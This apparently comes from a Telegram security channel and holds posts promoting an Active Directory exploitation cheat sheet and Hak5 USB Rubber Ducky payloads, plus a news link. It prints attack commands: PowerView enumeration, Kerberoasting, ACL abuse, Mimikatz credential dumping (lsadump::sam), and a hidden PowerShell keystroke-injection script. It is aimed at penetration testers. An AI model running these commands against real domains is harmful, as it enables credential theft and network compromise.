UNDERCODE COMMUNITY

🦑 Active Directory Exploitation Cheat Sheet - AD Enumeration and Exploitation

The Active Directory Exploitation Cheat Sheet by [S1ckB0y1337](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet) is a comprehensive collection of enumeration and attack methods for Windows Active Directory environments. This resource is ideal for penetration testers and red teamers focusing on AD security.

---

### GitHub Repository:
[Active Directory Exploitation Cheat Sheet](https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet)

---

### Commands and Usage Examples:

#### 1. Domain Enumeration
Using PowerView:

# Get current domain details
Get-Domain

# Enumerate domain users
Get-DomainUser | Out-File -FilePath .\DomainUsers.txt

# Enumerate domain controllers
Get-DomainController

---

#### 2. Lateral Movement
Using PowerShell Remoting:

# Enable remoting
Enable-PSRemoting -Force

# Invoke a remote command
Invoke-Command -ComputerName <TargetComputer> -ScriptBlock {Get-Process}

---

#### 3. Privilege Escalation
Using Kerberoasting:

# Find SPNs for Kerberoasting
Get-DomainUser -SPN

Exported SPNs can then be cracked using tools like Rubeus or Hashcat.

---

#### 4. Credential Dumping
Using Mimikatz:

# Launch Mimikatz
mimikatz.exe

# Dump credentials
privilege::debug
lsadump::sam

---

### Popular Features:
1. User Hunting: Locate where privileged users have active sessions:

   Find-DomainUserLocation

2. Enumeration of Group Policies:

   Get-DomainGPO | Sort-Object -Property DisplayName

3. Abusing ACLs for Privilege Escalation:

   Get-DomainObjectAcl -Identity <AccountName> -ResolveGUIDs

---

### Notable Tools Integrated:
- PowerView: Active Directory enumeration.
- BloodHound: AD attack path analysis.
- Mimikatz: Credential dumping.
- Impacket: Exploitation toolkit.

---

### Key Use Cases:
1. Enumeration: Map out users, computers, and domain trust relationships.
2. Privilege Escalation: Exploit Kerberoasting, constrained delegation, or DNSAdmins.
3. Lateral Movement: Execute remote commands and pivot across systems.
4. Persistence: Set up Golden Tickets or Skeleton Keys.

This cheat sheet is an essential resource for systematically targeting and exploiting Active Directory. Use it responsibly and within legal boundaries!

GitHub

GitHub - S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet: A cheat sheet that contains common enumeration and attack methods…

A cheat sheet that contains common enumeration and attack methods for Windows Active Directory. - S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet

19 viewsUNDERCODER, 07:52

UNDERCODE COMMUNITY

Forwarded from UNDERCODE NEWS (Copyright & Fact Checker)

#Windows 11 24H2: A Wider Rollout

https://undercodenews.com/windows-11-24h2-a-wider-rollout/

@Undercode_News

UNDERCODE NEWS

Windows 11 24H2: A Wider Rollout - UNDERCODE NEWS

17 viewsCopyright & Fact Checker, 07:52

✨ Continue Reading

UNDERCODE COMMUNITY

Forwarded from Exploiting Crew (Pr1vAt3)

🦑 USB Rubber Ducky Payload

The [USB Rubber Ducky Payload Repository](https://github.com/hak5/usbrubberducky-payloads) by Hak5 provides a collection of ready-to-use payloads for the USB Rubber Ducky—a keystroke injection tool often used for penetration testing and red teaming. These payloads simulate fast and stealthy input for various exploits and tasks.

---

### GitHub Repository:
[Hak5 USB Rubber Ducky Payloads](https://github.com/hak5/usbrubberducky-payloads)

---

### Example Payload Structure:

#### Payload Documentation
All payloads start with comments that describe their purpose, author, target, and configuration.

REM Title: Example Payload
REM Author: Korben Dallas
REM Description: Opens hidden PowerShell
REM Target: Windows 10
REM Props: Hak5, Darren Kitchen
REM Version: 1.0
REM Category: General

---

#### Payload Example: URL Opening Script
This payload opens a URL after a brief delay.

BEGINNING OF PAYLOAD

REM CONFIGURATION
REM REQUIRED - Provide URL
DEFINE #MY_TARGET_URL example.com

REM OPTIONAL - Set boot delay; default is 5 seconds
DEFINE #BOOT_DELAY 5000

DELAY #BOOT_DELAY

STRING start chrome.exe #MY_TARGET_URL
ENTER

---

### Features:
1. Preconfigured Payloads:
- Password exfiltration
- Reverse shells
- Network reconnaissance
- Drive-by downloads

2. Customizable Payloads:
- DEFINE statements for reusable parameters.
- DELAY statements to time operations precisely.

3. Cross-Platform Targeting:
- Payloads can be customized for Windows, macOS, and Linux.

---

### Key Payload Categories:
1. Information Gathering:
- Automated reconnaissance.
- Exporting network details.

2. Exploitation:
- Privilege escalation.
- Exploiting vulnerabilities via automated commands.

3. Post-Exploitation:
- Extracting data or installing backdoors.

4. Social Engineering:
- Simulating user activity or spoofing actions.

---

### Notable Use Case:
#### Hidden PowerShell Script Execution

REM Title: Hidden PowerShell Execution
REM Author: Hak5
REM Description: Launches a hidden PowerShell instance.
REM Target: Windows 10
REM Category: Post-Exploitation

DELAY 5000
STRING powershell -windowstyle hidden
ENTER

---

### Usage:
1. Select a payload from the repository.
2. Edit the payload as per your target's configuration.
3. Load the payload onto the USB Rubber Ducky.
4. Deploy and execute the payload by plugging it into the target system.

This repository is a must-have for penetration testers aiming to automate tasks, test security defenses, or explore advanced attack vectors. Ensure proper authorization when using these tools.

GitHub

GitHub - hak5/usbrubberducky-payloads: The Official USB Rubber Ducky Payload Repository

The Official USB Rubber Ducky Payload Repository. Contribute to hak5/usbrubberducky-payloads development by creating an account on GitHub.

17 viewsUNDERCODER, 07:56

About

Blog

Apps

Platform